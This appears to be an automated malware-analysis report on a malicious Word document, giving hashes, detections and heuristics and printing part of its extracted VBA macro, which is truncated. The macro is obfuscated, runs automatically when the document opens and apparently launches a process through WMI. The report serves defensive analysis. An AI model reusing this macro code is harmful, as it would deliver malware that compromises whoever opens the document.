Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4c0ee94aafc36b6c…

MALICIOUS

Office (OLE)

191.7 KB Created: 2020-09-02 16:44:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 08da2985b46c8c36a5b60bad577bf4df SHA-1: 0f18720fbdebca8438940c1a1dee82884c8be3df SHA-256: 4c0ee94aafc36b6ceca91fd5b122ca92cec0097eacfaa6ff98db628f98288d3a
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for malware delivery. The macro uses CreateObject and obfuscated code, suggesting an attempt to download and execute a second-stage payload. The ClamAV detection ID further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Malware.Evxm-9752137-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Evxm-9752137-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8924 bytes
SHA-256: bc6f30a15a60062a5b64b4b4372c0c09cd093a2c56486579476165da35c8baa2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "C0s8mk8qbvn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call Pz_bjth3k1mmdev2f.G_lt5lq8d1uixuvhbp
End Sub


Attribute VB_Name = "Pz_bjth3k1mmdev2f"
Attribute VB_Base = "0{7D4A9DC6-7ABC-4E75-90F2-49E22DEEFE82}{E4052F19-AD94-4759-836C-1E8669BABE27}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function G_lt5lq8d1uixuvhbp()
   On Error Resume Next
Set Zxd2alsv3b0hwby = Fen3iennumnec
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Svc09u69rg7b6jpsb = 105
   On Error Resume Next
Set R7ghig15rgxomc9p8 = I0it47gu3ttoa78
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Rucvzuyui1cbaw = ChrW$(Svc09u69rg7b6jpsb + (10))
   On Error Resume Next
Set Cuvv7mgk1hod_fs9uy = Km26csgt79s2xi
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Apmp6705zdl = "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))si82fFHG74_(( sa3fj4_ hu23V))snm82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sgm82fFHG74_(( sa3fj4_ hu23V))st82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s" + Rucvzuyui1cbaw + "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s:82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))sin82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s382fFHG74_(( sa3fj4_ hu23V))s282fFHG74_(( sa3fj4_ hu23V))s_82fFHG74_(( sa3fj4_ hu23V))s" + Pz_bjth3k1mmdev2f.Uzn89efijgjodp + "82fFHG74_(( sa3fj4_ hu23V))sro82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sce82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))s"
   On Error Resume Next
Set Tkb9kxzmi_fd7x_x = Jjxxwu_pcbyy39
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Q97pbagrsioyodcv = T5tg1_xp6kku(Apmp6705zdl)
   On Error Resume Next
Set Spd_ewnzwwmh_83368 = Lvcgnghlny0ns1e
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
   On Error Resume Next
Set L4_592dci25hsjyv1y = Vqcubryoh5cfru9
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Mtq73vvg7letf = Pz_bjth3k1mmdev2f.O9921e3v4p39tr.ControlTipText
   On Error Resume Next
Set Ssz4lt7g865qq8__q = Kzz6ek2zqff1lly
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Ajpqlsl33yk = Uiaiqt99vlbcx + (Q97pbagrsioyodcv + Rucvzuyui1cbaw + Pz_bjth3k1mmdev2f.Vs_4ztd62ashgm5hdo.ControlTipText + Mtq73vvg7letf)
   On Error Resume Next
Set Knd1e2og82993j8bi = C6lhjfzon2y1fhxyp
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
X4zuajoup4457 = Ajpqlsl33yk + Pz_bjth3k1mmd
... (truncated)

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